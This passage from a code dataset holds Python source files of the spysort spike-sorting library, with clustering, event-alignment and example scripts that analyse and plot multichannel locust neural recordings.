n_pca[0]:n_pca[1]])\n size_r, size_c = data.shape[0], data.shape[1]\n\n if n_samples > data.shape[0]:\n print 'Too many sample points'\n return -1\n\n # Construct B bootstrap training samples and run the base cluster\n # method - KMeans\n C = []\n for i in range(B):\n centroids, _ = kmeans(data[np.random.randint(0, size_r, (N,)), :],\n k_or_guess=N, iter=n_iter)\n C.extend(centroids)\n\n # Run a hierarchical clustering\n distMatrix = pdist(C, 'euclidean')\n D = linkage(distMatrix, method='single')\n\n # Create the dendrogram\n if show_dendro == 'True':\n dendrogram(D)\n\n # Cut the tree\n F = fcluster(D, 2, criterion='maxclust')\n return F\n\n def plotEvent(self, x, n_plot=None, events_color='black', events_lw=0.1,\n show_median=True, median_color='red', median_lw=0.5,\n show_mad=True, mad_color='blue', mad_lw=0.5):\n \"\"\" Plots an event after clustering.\n\n **Parameters**\n\n x : double (list or array)\n Data to be plotted\n n_plot : int\n Number of events that will be plotted\n events_color : string\n Lines color\n events_lw : float\n Line width\n show_median : boolean\n If it's True the median will appear in the figure\n median_color : strin\n Median curve color\n median_lw : float\n Median curve width\n show_mad : boolean\n It it's true the mad will appear in the figure\n mad_color : string\n Mad curve color\n mad_lw : float\n Mad curve width\n \"\"\"\n x = np.asarray(x)\n\n if n_plot is None:\n n_plot = x.shape[0]\n\n for i in range(n_plot):\n plt.plot(x[i, :], color=events_color, lw=events_lw)\n\n if show_median:\n MEDIAN = np.apply_along_axis(np.median, 0, x)\n plt.plot(MEDIAN, color=median_color, lw=median_lw)\n\n if show_mad:\n MAD = np.apply_along_axis(mad, 0, x)\n plt.plot(MAD, color=mad_color, lw=mad_lw)\n\n plt.axvspan(45, 89, fc='grey', alpha=.5, edgecolor='none')\n plt.axvspan(135, 179, fc='grey', alpha=.5, edgecolor='none')\n\n def plotClusters(self, clusters, Size=(11, 8)):\n \"\"\" Plots events belong to five different clusters.\n\n **Parameters**\n\n clusters : int (array or list)\n The index of the cluster from which the events will be plotted\n \"\"\"\n fig = plt.figure(figsize=Size)\n fig.subplots_adjust(wspace=.3, hspace=.3)\n\n ax = fig.add_subplot(511)\n self.plotEvent(self.evts[self.goodEvts, :]\n [np.array(clusters) == 0, :])\n plt.ylim([-15, 20])\n\n ax = fig.add_subplot(512)\n self.plotEvent(self.evts[self.goodEvts, :]\n [np.array(clusters) == 1, :])\n ax.set_ylim([-15, 20])\n\n ax = fig.add_subplot(513)\n self.plotEvent(self.evts[self.goodEvts, :]\n [np.array(clusters) == 2, :])\n ax.set_ylim([-15, 20])\n\n ax = fig.add_subplot(514)\n self.plotEvent(self.evts[self.goodEvts, :]\n [np.array(clusters) == 3, :])\n ax.set_ylim([-15, 20])\n\n ax = fig.add_subplot(515)\n self.plotEvent(self.evts[self.goodEvts, :]\n [np.array(clusters) == 4, :])\n ax.set_ylim([-15, 20])\n", "id": "8300857", "language": "Python", "matching_score": 3.5393455028533936, "max_stars_count": 0, "path": "spysort/Events/clusters.py" }, { "content": "# Do everything (that is all the figures) in one single file\nimport os\nimport numpy as np\nimport matplotlib.pylab as plt\nfrom urllib import urlretrieve\nfrom spysort.ReadData import import_data\nfrom spysort.Events import spikes\nfrom spysort.Events import events\nfrom spysort.functions import mad, convolution\nfrom spysort.Events import clusters\nfrom spysort.Events import alignment\nfrom time import clock\n\n\nif __name__ == '__main__':\n # Donwload the data ############################\n # data_names = ['Locust_' + str(i) + '.dat.gz'\n # for i in range(1, 5)]\n # data_src = ['http://xtof.disque.math.cnrs.fr/data/'\n # + n for n in data_names]\n # [urlretrieve(data_src[i], data_names[i]) for i in range(4)]\n # # End of Donwload the data ####################\n\n # # Decompress the data #########################\n # [os.system('gunzip ' + n) for n in data_names]\n # End of decompress the data ##################\n\n # Load the data ###############################\n\n # Create a list with the file names\n data_files_names = ['Locust_' + str(i) + '.dat' for i in range(1, 5)]\n # Get the lenght of the data in the files\n # data_len = np.unique(map(len, map(lambda n: np.fromfile(n, np.double),\n # data_files_names)))[0]\n # Load the data in a list of numpy arrays\n # data = [np.fromfile(n, np.double) for n in data_files_names]\n # End of load the data ########################\n\n t0 = clock()\n # Class read_data instance\n freq = 1.5e4 # Sampling frequency\n data_inst = import_data.read_data(data_files_names, freq)\n # Raw data\n data = data_inst.data\n\n # Do Fig1 #####################################\n first_second = np.arange(15000)\n fig = plt.figure(figsize=(3, 5))\n plt.plot(data[0][first_second], color='black', lw=0.3)\n plt.plot(data[1][first_second]-15, color='black', lw=0.3)\n plt.plot(data[2][first_second]-30, color='black', lw=0.3)\n plt.plot(data[3][first_second]-45, color='black', lw=0.3)\n plt.axis('off')\n # plt.savefig('Fig1.png')\n # End of do Fig1 ##############################\n\n # Do Fig2 #####################################\n domain = np.arange(54350, 55851)\n fig = plt.figure(figsize=(3, 5))\n plt.plot(data[0][domain], color='black', lw=0.3)\n plt.plot(data[1][domain]-15, color='black', lw=0.3)\n plt.plot(data[2][domain]-30, color='black', lw=0.3)\n plt.plot(data[3][domain]-45, color='black', lw=0.3)\n plt.axis('off')\n # plt.savefig('Fig2.png')\n # End of do Fig2 ##############################\n\n # Normalise data and store them in timeseries attribute\n # Timeseries contains the data list and the timesteps\n data_inst.timeseries[0] = data_inst.renormalization()\n\n win = np.array([1., 1., 1., 1., 1.])/5. # Boxcar filter\n # Data filtering and spike detection class instance\n s = spikes.spike_detection(data_inst.timeseries)\n # Filter data\n filtered = s.filtering(4.0, win)\n # Find peaks on the sum of the filtered data\n sp0 = s.peaks(filtered, kind='aggregate')\n\n # Cut data set in two parts\n sp0E = sp0[sp0 <= data_inst.data_len//2]\n sp0L = sp0[sp0 > data_inst.data_len//2]\n\n # Get events on early part of recording\n evts = events.build_events(data_inst.timeseries[0], sp0E, win, before=14,\n after=30)\n evtsE = evts.mk_events()\n\n # define plot_events\n def plot_events(evts_matrix, n_plot=None, n_channels=4,\n events_color='black', events_lw=0.1, show_median=True,\n median_color='red', median_lw=0.5, show_mad=True,\n mad_color='blue', mad_lw=0.5):\n \"\"\"Plot events.\n Formal parameters:\n evts_matrix: a matrix of events. Rows are events. Cuts from\n different recording sites are glued one after the\n other on each row.\n\n n_plot: an integer, the number of events to plot (if 'None',\n default, all are shown).\n\n n_channels: an integer, the number of recording channels.\n\n events_color: the color used to display events.\n\n events_lw: the line width used to display events.\n\n show_median: should the median event be displayed?\n\n median_color: color used to display the median event.\n\n median_lw: line width used to display the median event.\n\n show_mad: should the MAD be displayed?\n\n mad_color: color used to display the MAD.\n\n mad_lw: line width used to display the MAD.\n\n Returns:\n Nothing, the function is used for its side effect.\n \"\"\"\n if n_plot is None:\n n_plot = evts_matrix.shape[0]\n cut_length = evts_matrix.shape[1] // n_channels\n for i in range(n_plot):\n plt.plot(evts_matrix[i, :], color=events_color, lw=events_lw)\n if show_median:\n MEDIAN = np.apply_along_axis(np.median, 0, evts_matrix)\n plt.plot(MEDIAN, color=median_color, lw=median_lw)\n if show_mad:\n MAD = np.apply_along_axis(mad, 0, evts_matrix)\n plt.plot(MAD, color=mad_color, lw=mad_lw)\n left_boundary = np.arange(cut_length, evts_matrix.shape[1],\n cut_length*2)\n for l in left_boundary:\n plt.axvspan(l, l+cut_length-1, facecolor='grey', alpha=0.5,\n edgecolor='none')\n plt.xticks([])\n\n # Do Fig3 #####################################\n fig = plt.figure(figsize=(3, 5))\n plt.subplot(411)\n plot_events(evtsE[:200, :45], n_channels=1, show_median=False,\n show_mad=False)\n plt.ylim([-15, 20])\n plt.axis('off')\n plt.subplot(412)\n plot_events(evtsE[:200, 45:90], n_channels=1, show_median=False,\n show_mad=False)\n plt.ylim([-15, 20])\n plt.axis('off')\n plt.subplot(413)\n plot_events(evtsE[:200, 90:135], n_channels=1, show_median=False,\n show_mad=False)\n plt.ylim([-15, 20])\n plt.axis('off')\n plt.subplot(414)\n plot_events(evtsE[:200, 135:], n_channels=1, show_median=False,\n show_mad=False)\n plt.ylim([-15, 20])\n plt.axis('off')\n # plt.savefig('Fig3.png')\n # End of do Fig3 ##############################\n\n # Dimension reduction and clustering\n CSize = 10\n c = clusters.pca_clustering(data_inst.timeseries[0], sp0E, win, thr=8,\n before=14, after=30)\n\n # Do Fig4 #####################################\n c.plot_pca_projections()\n # plt.savefig('Fig4.png')\n # End of do Fig4 ##############################\n\n # Do clustering with K-Means and 10 clusters\n c10b = c.KMeans(CSize)\n goodEvtsE = c.goodEvts\n\n # Do Fig5 #####################################\n fig = plt.figure(figsize=(6, 5))\n plt.subplot(421)\n plot_events(evtsE[goodEvtsE, :][np.array(c10b) == 0, :45], n_channels=1,\n show_median=False, mad_color='red')\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(422)\n plot_events(evtsE[goodEvtsE, :][np.array(c10b) == 1, :45], n_channels=1,\n show_median=False, mad_color='red')\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(423)\n plot_events(evtsE[goodEvtsE, :][np.array(c10b) == 0, 45:90], n_channels=1,\n show_median=False, mad_color='red')\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(424)\n plot_events(evtsE[goodEvtsE, :][np.array(c10b) == 1, 45:90], n_channels=1,\n show_median=False, mad_color='red')\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(425)\n plot_events(evtsE[goodEvtsE, :][np.array(c10b) == 0, 90:135], n_channels=1,\n show_median=False, mad_color='red')\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(426)\n plot_events(evtsE[goodEvtsE, :][np.array(c10b) == 1, 90:135], n_channels=1,\n show_median=False, mad_color='red')\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(427)\n plot_events(evtsE[goodEvtsE, :][np.array(c10b) == 0, 135:], n_channels=1,\n show_median=False, mad_color='red')\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(428)\n plot_events(evtsE[goodEvtsE, :][np.array(c10b) == 1, 135:], n_channels=1,\n show_median=False, mad_color='red')\n plt.ylim([-20, 20])\n plt.axis('off')\n # plt.savefig('Fig5.png')\n # End of do Fig5 ##############################\n\n dataD = [convolution(x, np.array([1, 0, -1])/2.) for x in\n data_inst.timeseries[0]]\n evtsED = evts.mk_events(otherPos=True, x=np.array(dataD), pos=sp0)\n dataDD = [convolution(x, np.array([1, 0, -1])/2.) for x in dataD]\n evtsEDD = evts.mk_events(otherPos=True, x=np.array(dataDD), pos=sp0)\n c1_median = np.apply_along_axis(np.median, 0,\n evtsE[goodEvtsE, :][np.array(c10b) == 1, :],\n )\n c1D_median = np.apply_along_axis(np.median, 0,\n evtsED[goodEvtsE, :][np.array(c10b) == 1, :],\n )\n c1DD_median = np.apply_along_axis(np.median, 0,\n evtsEDD[goodEvtsE, :][np.array(c10b) == 1, :]\n )\n # First order jitter estimation\n delta_hat = np.dot(c1D_median, evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, :]\n - c1_median) / np.dot(c1D_median, c1D_median)\n\n align = alignment.align_events(data_inst.timeseries[0], sp0, goodEvtsE,\n c10b, CSize, win)\n\n rss_at_delta_0 = align.rss_for_alignment(delta_hat,\n evtsE[goodEvtsE,:][np.array(c10b)==1,:][50,:],\n c1_median,\n c1D_median,\n c1DD_median)\n rssD_at_delta_0 = align.rssD_for_alignment(delta_hat,\n evtsE[goodEvtsE,:][np.array(c10b)==1,:][50,:],\n c1_median,\n c1D_median,\n c1DD_median)\n rssDD_at_delta_0 = align.rssDD_for_alignment(delta_hat,\n evtsE[goodEvtsE,:][np.array(c10b)==1,:][50,:],\n c1_median,\n c1D_median,\n c1DD_median)\n delta_1 = delta_hat - rssD_at_delta_0/rssDD_at_delta_0\n\n # Do Fig6 #####################################\n e1_50_pred = c1_median+delta_1*c1D_median+delta_1**2/2*c1DD_median\n\n fig = plt.figure(figsize=(6, 5))\n plt.subplot(421)\n plt.plot(c1_median[:45], color='blue', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, :45],\n color='black', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, :45]-c1_median[:45],\n color='red', lw=2)\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(423)\n plt.plot(c1_median[45:90], color='blue', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, 45:90],\n color='black', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, 45:90]-c1_median[45:90],\n color='red', lw=2)\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(425)\n plt.plot(c1_median[90:135], color='blue', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, 90:135],\n color='black', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, 90:135]-c1_median[90:135],\n color='red', lw=2)\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(427)\n plt.plot(c1_median[135:], color='blue', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, 135:],\n color='black', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, 135:]-c1_median[135:],\n color='red', lw=2)\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(422)\n plt.plot(e1_50_pred[:45], color='blue', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, :45],\n color='black', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, :45]-e1_50_pred[:45],\n color='red', lw=2)\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(424)\n plt.plot(e1_50_pred[45:90], color='blue', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, 45:90],\n color='black', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, 45:90]-e1_50_pred[45:90],\n color='red', lw=2)\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(426)\n plt.plot(e1_50_pred[90:135], color='blue', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, 90:135],\n color='black', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, 90:135]-e1_50_pred[90:135],\n color='red', lw=2)\n plt.ylim([-20, 20])\n plt.axis('off')\n plt.subplot(428)\n plt.plot(e1_50_pred[135:], color='blue', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, 135:],\n color='black', lw=2)\n plt.plot(evtsE[goodEvtsE, :][np.array(c10b) == 1, :][50, 135:]-e1_50_pred[135:],\n color='red', lw=2)\n plt.ylim([-20, 20])\n plt.axis('off')\n # plt.savefig('Fig6.png')\n # End of do Fig6 ##############################\n\n centers = {\"Cluster \" + str(i):\n align.mk_center_dictionary(sp0E[goodEvtsE][np.array(c10b) == i])\n for i in range(CSize)}\n\n # Apply it to every detected event\n # Warning do it like this\n round0 = [align.classify_and_align_evt(sp0[i], centers) for i in range(len(sp0))]\n\n print(len([x[1] for x in round0 if x[0] == '?']))\n\n # Apply it\n pred0 = align.predict_data(round0, centers)\n data1 = np.array(data_inst.timeseries[0]) - pred0\n data_filtered = np.apply_along_axis(lambda x: convolution(x, np.array([1,\n 1, 1])/3.), 1, data1)\n data_filtered = (data_filtered.transpose() / np.apply_along_axis(mad, 1, data_filtered)).transpose()\n data_filtered[data_filtered < 4.] = 0\n print data_filtered[0, :].shape\n sp1 = s.peaks(data_filtered[0, :], kind='simple')\n print(len(sp1))\n\n round1 = [align.classify_and_align_evt(sp1[i], centers,\n otherData=True,\n x=data1) for i in range(len(sp1))]\n print(len([x[1] for x in round1 if x[0] == '?']))\n\n pred1 = align.predict_data(round1, centers)\n data2 = data1 - pred1\n\n # Do Fig7 #####################################\n fig = plt.figure(figsize=(30, 10))\n zz = range(14250, 15000)\n plt.subplot(131)\n plt.plot(np.array(data)[0, zz], color='black')\n plt.plot(pred0[0, zz], color='red', lw=1)\n plt.plot(np.array(data)[1, zz]-25, color='black')\n plt.plot(pred0[1, zz]-25, color='red', lw=1)\n plt.plot(np.array(data)[2, zz]-50, color='black')\n plt.plot(pred0[2, zz]-50, color='red', lw=1)\n plt.plot(np.array(data)[3, zz]-75, color='black')\n plt.plot(pred0[3, zz]-75, color='red', lw=1)\n plt.axis('off')\n plt.ylim([-100, 20])\n\n plt.subplot(132)\n plt.plot(data1[0, zz], color='black')\n plt.plot(pred1[0, zz], color='red', lw=1)\n plt.plot(data1[1, zz]-25, color='black')\n plt.plot(pred1[1, zz]-25, color='red', lw=1)\n plt.plot(data1[2, zz]-50, color='black')\n plt.plot(pred1[2, zz]-50, color='red', lw=1)\n plt.plot(data1[3, zz]-75, color='black')\n plt.plot(pred1[3, zz]-75, color='red', lw=1)\n plt.axis('off')\n plt.ylim([-100, 20])\n\n plt.subplot(133)\n plt.plot(data2[0, zz], color='black')\n plt.plot(data2[1, zz]-25, color='black')\n plt.plot(data2[2, zz]-50, color='black')\n plt.plot(data2[3, zz]-75, color='black')\n plt.axis('off')\n plt.ylim([-100, 20])\n plt.subplots_adjust(wspace=0.01, left=0.05, right=0.95,\n bottom=0.05, top=0.95)\n # plt.savefig('Fig7.png')\n # End of do Fig7 ##############################\n tf = clock()\n\n print 'Time spent to analysis and plots: {} in secs'.format(tf-t0)\n\n plt.show()\n", "id": "1261459", "language": "Python", "matching_score": 5.518742084503174, "max_stars_count": 7, "path": "examples/euroscipy-2014-example.py" }, { "content": "import numpy as np\nimport matplotlib.pylab as plt\n# from guppy import hpy\n\nfrom SPySort.ReadData import data\n# from Events import spikes\n# from Events import events\n# from Events import clusters\n# from Events import alignment\n\nif __name__ == '__main__':\n # Define the raw data location\n folder = '/Users/gdetorak/Documents/SUPELEC/Software/Data/Locust/'\n IFiles = [folder+'Locust_1.dat', folder+'Locust_2.dat',\n folder+'Locust_3.dat', folder+'Locust_4.dat']\n\n # Data analysis parameters\n freq = 1.5e4 # Sampling frequency\n freq = 1.0\n win = np.array([1., 1., 1., 1., 1.])/5. # Boxcar filter\n\n # Test of rawData class\n r_data = data.read_data(IFiles, freq) # Read raw data\n # r_data.summary() # Prints a data summary\n\n # res = r_data.select_channels([1, 2], 0, r_data.data_len) # Selects chan\n\n r_data.timeseries[0] = r_data.renormalization() # Raw data normalization\n\n r_data.plot_data(r_data.data[0:300]) # Plot normalized data\n # -------------------------------------------------------\n\n # Test of spike_detection class\n # s = spikes.spike_detection(r_data.timeseries)\n # filtered = s.filtering(4.0, win) # Filter the normalized data\n # sp0 = s.peaks(filtered, kind='aggregate') # Peaks detection\n\n # Define the proper size of events positions- this must be done by the user\n # positions = sp0[sp0 <= r_data.data_len/2.]\n\n # s.plot_filtered_data(s.data, filtered, 4.) # Plot the data\n # s.plot_peaks(s.data, sp0)\n # -------------------------------------------------------\n\n # Test of events class\n # evts = events.build_events(r_data.data, positions, win, before=14,\n # after=30)\n # evtsE = evts.mk_events() # Make spike events\n # noise = evts.mk_noise() # Make noise events\n\n # evts.plot_mad_median(evtsE) # Plot mad and median of the events\n # evts.plot_events(evtsE) # Plot events\n # -------------------------------------------------------\n\n # Test PCA and KMeans clustering\n # CSize = 10\n # c = clusters.pca_clustering(r_data.timeseries[0], positions, win, thr=8,\n # before=14, after=30)\n\n # print c.pca_variance(10) # Print the variance of the PCs\n\n # c.plot_mean_pca() # Plot the mean +- PC\n # c.plot_pca_projections() # Plot the projections of the PCs on the data\n\n # kmeans_clusters = c.KMeans(CSize) # K-means clustering\n\n # gmm_clusters = c.GMM(10, 'diag') # GMM clustering\n\n # tree = clusters.bagged_clustering(10, 100, 30) # Bagged clustering\n\n # c.plot_clusters(gmm_clusters) # Plot the clusters\n # -------------------------------------------------------\n\n # Test alignement of the spike events\n # goodEvts = c.goodEvts\n # align = alignment.align_events(r_data.timeseries[0], positions, goodEvts,\n # kmeans_clusters, CSize, win)\n\n # evtsE_noj = [align.mk_aligned_events(align.gcpos[i])\n # for i in range(CSize)]\n\n # centers = {\"Cluster \" + str(i): align.mk_center_dictionary(evtsE_noj[i][1])\n # for i in range(CSize)}\n\n # round0 = [align.classify_and_align_evt(align.positions[i], centers)\n # for i in range(len(align.positions))]\n\n # print len([x[1] for x in round0 if x[0] == '?'])\n plt.show()\n", "id": "5632781", "language": "Python", "matching_score": 2.258659601211548, "max_stars_count": 7, "path": "examples/example_nonintract.py" }, { "content": "import copy\nimport numpy as np\nfrom spysort.functions import convolution, cut_sgl_evt\nfrom spysort.Events import events\n\n\nclass align_events(events.build_events):\n \"\"\" Alignment of spike forms after clustering using a Brute-Force method\"\"\"\n def __init__(self, data, positions, goodEvts, clusters, CSize, win=[],\n before=14, after=30, thr=3):\n \"\"\" Performs a PCA-aided k-Means clustering and creates the proper\n indexes for further alignment of the raw data.\n\n **Parameters**\n\n data : double\n The input normalized data list\n\n positions : int\n The positions of spike events as they have been computed by the\n spike_detection (becareful the user has to define treat explicitly\n the size and the contents of the position array)\n\n clusters : double\n The clustered data\n\n CSize : int\n The number of the chosen clusters\n\n win : double\n The filtering window\n\n before : int\n The number of sampling point to keep before the peak\n\n after : int\n The number of sampling point to keep after the peak\n\n thr : double\n Filtering threshold value\n \"\"\"\n self.win = win\n self.thr = thr\n self.before = before\n self.after = after\n self.positions = positions\n\n # Converts input list data to a numpy array\n self.data = np.asarray(data)\n self.goodEvts = goodEvts\n\n # Events instance\n events.build_events.__init__(self, self.data, self.positions, self.win,\n self.before, self.after)\n\n # k-Means clustering\n self.kmc = clusters\n\n # Construction of the proper cluster indices\n self.gcpos = copy.deepcopy([self.positions[self.goodEvts]\n [np.array(self.kmc) == i]\n for i in range(CSize)])\n\n def classify_and_align_evt(self, evt_pos, centers, abs_jitter_max=3, \n otherData=False, x=[]):\n \"\"\" One step of the Brute-Force method of realignment. It returns the\n name of the closest center in terms of Euclidean distance or \"?\" if\n none of the clusters' waveform does better than a uniformly null one,\n the new position of the event (the previous position corrected by the\n integer part of the estimated jitter), the remaining jitter.\n\n **Parameters**\n\n evt_pos : int\n A sampling point at which an event was detected.\n\n centers : dict\n A dictionary that contains all the necessary arrays and parameters\n in order to perform properly the classification and the alignment\n of the raw data\n\n abs_jitter_max : double\n The absolute maximum permitted value of the jitter\n\n **Returns**\n A list with the following components: The name of the closest center\n if it was close enough or ’?’. The nearest sampling point to the events\n peak. The jitter: difference between the estimated actual peak\n position and the nearest sampling point.\n \"\"\"\n if otherData is False:\n data = self.data\n else:\n data = np.asarray(x)\n\n cluster_names = sorted(list(centers))\n n_sites = data.shape[0]\n centersM = np.array([centers[c_name][\"center\"]\n [np.tile((-self.before <= centers[c_name]\n [\"center_idx\"]).__and__(centers[c_name]\n [\"center_idx\"] <= self.after), n_sites)]\n for c_name in cluster_names])\n evt = cut_sgl_evt(data, evt_pos, self.before, self.after)\n delta = -(centersM - evt)\n cluster_idx = np.argmin(np.sum(delta**2, axis=1))\n good_cluster_name = cluster_names[cluster_idx]\n good_cluster_idx = np.tile((-self.before <=\n centers[good_cluster_name]\n [\"center_idx\"]).__and__(\n centers[good_cluster_name]\n [\"center_idx\"] <= self.after), n_sites)\n centerD = centers[good_cluster_name][\"centerD\"][good_cluster_idx]\n centerD_norm2 = np.dot(centerD, centerD)\n centerDD = centers[good_cluster_name][\"centerDD\"][good_cluster_idx]\n centerDD_norm2 = np.dot(centerDD, centerDD)\n centerD_dot_centerDD = np.dot(centerD, centerDD)\n h = delta[cluster_idx, :]\n h_order0_norm2 = np.sum(h**2)\n h_dot_centerD = np.dot(h, centerD)\n jitter0 = h_dot_centerD/centerD_norm2\n # print jitter0\n h_order1_norm2 = np.sum((h-jitter0*centerD)**2)\n if h_order0_norm2 > h_order1_norm2:\n h_dot_centerDD = np.dot(h, centerDD)\n first = (-2. * h_dot_centerD + 2. * jitter0 *\n (centerD_norm2 - h_dot_centerDD) + 3. * jitter0**2 *\n centerD_dot_centerDD + jitter0**3 * centerDD_norm2)\n second = (2. * (centerD_norm2 - h_dot_centerDD) + 6. * jitter0 *\n centerD_dot_centerDD + 3. * jitter0**2 * centerDD_norm2)\n jitter1 = jitter0 - first/second\n h_order2_norm2 = sum((h-jitter1*centerD-jitter1**2/2*centerDD)**2)\n if h_order1_norm2 <= h_order2_norm2:\n jitter1 = jitter0\n else:\n jitter1 = 0\n if np.abs(np.round(jitter1)) > 0:\n evt_pos -= int(np.round(jitter1))\n evt = cut_sgl_evt(data, evt_pos, self.before, self.after)\n h = evt - centers[good_cluster_name][\"center\"][good_cluster_idx]\n h_order0_norm2 = np.sum(h**2)\n h_dot_centerD = np.dot(h, centerD)\n jitter0 = h_dot_centerD/centerD_norm2\n h_order1_norm2 = np.sum((h - jitter0 * centerD)**2)\n if h_order0_norm2 > h_order1_norm2:\n h_dot_centerDD = np.dot(h, centerDD)\n first = (-2. * h_dot_centerD + 2. * jitter0 *\n (centerD_norm2 - h_dot_centerDD) + 3. * jitter0**2 *\n centerD_dot_centerDD + jitter0**3 * centerDD_norm2)\n second = (2. * (centerD_norm2 - h_dot_centerDD) + 6. * jitter0\n * centerD_dot_centerDD + 3. * jitter0**2 *\n centerDD_norm2)\n jitter1 = jitter0 - first/second\n h_order2_norm2 = np.sum((h - jitter1 * centerD - jitter1**2 /\n 2 * centerDD)**2)\n if h_order1_norm2 <= h_order2_norm2:\n jitter1 = jitter0\n else:\n jitter1 = 0\n if np.sum(evt**2) > np.sum((h - jitter1 * centerD - jitter1**2/2. *\n centerDD)**2):\n return [cluster_names[cluster_idx], evt_pos, jitter1]\n else:\n return ['?', evt_pos, jitter1]\n\n def get_jitter(self, evts, center, centerD, centerDD):\n \"\"\" Estimates the jitter given an event or a matrix of events where\n individual events form the rows, a median event and the first two\n derivatives of the latter.\n\n **Parameters**\n\n evts : double (array)\n The actual clean events to be realigned\n\n center : double (array)\n The estimate of the center (obtained from the median)\n\n centerD : double (array)\n The estimate of the center's derivative (obtained from the median\n of events cut on the derivative of data)\n\n centerDD : double (array)\n The estimate of the center's second derivative (obtained from the\n median of events cut on the second derivative of data)\n\n **Returns**\n\n The first approximation of the jitter (numerical value).\n \"\"\"\n centerD_norm2 = np.dot(centerD, centerD)\n centerDD_norm2 = np.dot(centerDD, centerDD)\n centerD_dot_centerDD = np.dot(centerD, centerDD)\n\n if evts.ndim == 1:\n evts = evts.reshape(1, len(center))\n\n evts = evts - center\n h_dot_centerD = np.dot(evts, centerD)\n delta0 = h_dot_centerD/centerD_norm2\n h_dot_centerDD = np.dot(evts, centerDD)\n first = (-2. * h_dot_centerD + 2. * delta0 *\n (centerD_norm2 - h_dot_centerDD) + 3. * delta0**2 *\n centerD_dot_centerDD + delta0**3 * centerDD_norm2)\n second = (2. * (centerD_norm2 - h_dot_centerDD) + 6. * delta0 *\n centerD_dot_centerDD + 3. * delta0**2 * centerDD_norm2)\n return delta0 - first/second\n\n def mk_aligned_events(self, positions):\n \"\"\" Aligns the events of one realization. It returns a matrix of\n aligned events, a vector of spike positions giving the nearest sampling\n point to the actual peak, a vector of jitter giving the offset between\n the previous spike position and the \"actual\" peak position.\n\n **Parameters**\n\n positions : int (list)\n Spike times\n\n **Returns**\n A tuple whose elements are:\n A matrix with as many rows as events and whose rows are the cuts on the\n different recording sites glued one after the other. These events have\n been jitter corrected using the second order Taylor expansion.\n A vector of events positions where ”actual” positions have been rounded\n to the nearest index.\n A vector of jitter values.\n\n **Details**\n 1. The data first and second derivatives are estimated first.\n 2. Events are cut next on each of the three versions of the data.\n 3. The global median event for each of the three versions are obtained.\n 4. Each event is then aligned on the median using a first order Taylor\n expansion.\n 5. If this alignment decreases the squared norm of the event.\n 6. An improvement is looked for using a second order expansion.\n If this second order expansion still decreases the squared norm and if\n the estimated jitter is larger than 1, the whole procedure is repeated\n after cutting a new the event based on a better peak position.\n \"\"\"\n win = np.array([1., 0., -1.])/2.\n Dx = np.apply_along_axis(convolution, 1, self.data, win)\n DDx = np.apply_along_axis(convolution, 1, Dx, win)\n evts = self.mkEvents(otherPos=True, x=self.data, pos=positions)\n evtsD = self.mkEvents(otherPos=True, x=Dx, pos=positions)\n evtsDD = self.mkEvents(otherPos=True, x=DDx, pos=positions)\n evts_median = np.apply_along_axis(np.median, 0, evts)\n evtsD_median = np.apply_along_axis(np.median, 0, evtsD)\n evtsDD_median = np.apply_along_axis(np.median, 0, evtsDD)\n evts_jitter = self.get_jitter(evts, evts_median, evtsD_median,\n evtsDD_median)\n positions = positions-np.round(evts_jitter).astype('int')\n evts = self.mkEvents(otherPos=True, x=self.data, pos=positions)\n evtsD = self.mkEvents(otherPos=True, x=Dx, pos=positions)\n evtsDD = self.mkEvents(otherPos=True, x=DDx, pos=positions)\n evts_median = np.apply_along_axis(np.median, 0, evts)\n evtsD_median = np.apply_along_axis(np.median, 0, evtsD)\n evtsDD_median = np.apply_along_axis(np.median, 0, evtsDD)\n evts_jitter = self.get_jitter(evts, evts_median, evtsD_median,\n evtsDD_median)\n evts -= (np.outer(evts_jitter, evtsD_median) +\n np.outer(evts_jitter**2/2., evtsDD_median))\n return (evts, positions, evts_jitter)\n\n def mk_center_dictionary(self, positions):\n \"\"\" Creates a dictionary containing all the necessary information in\n order to facilitate the realignment method.\n\n **Parameters**\n\n positions : int (list)\n A vector of spike times, that should all come from the same\n cluster and correspond to reasonably ’clean’ events.\n\n **Returns**\n A dictionary with the following components:\n center: the estimate of the center (obtained from the median).\n centerD: the estimate of the center’s derivative (obtained from the\n median of events cut on the derivative of data).\n centerDD: the estimate of the center’s second derivative (obtained from\n the median of events cut on the second derivative of data).\n centerD_norm2: the squared norm of the center’s derivative.\n centerDD_norm2: the squared norm of the center’s second derivative.\n centerD_dot_centerDD: the scalar product of the center’s first and\n second derivatives.\n center_idx: an array of indices generated by\n 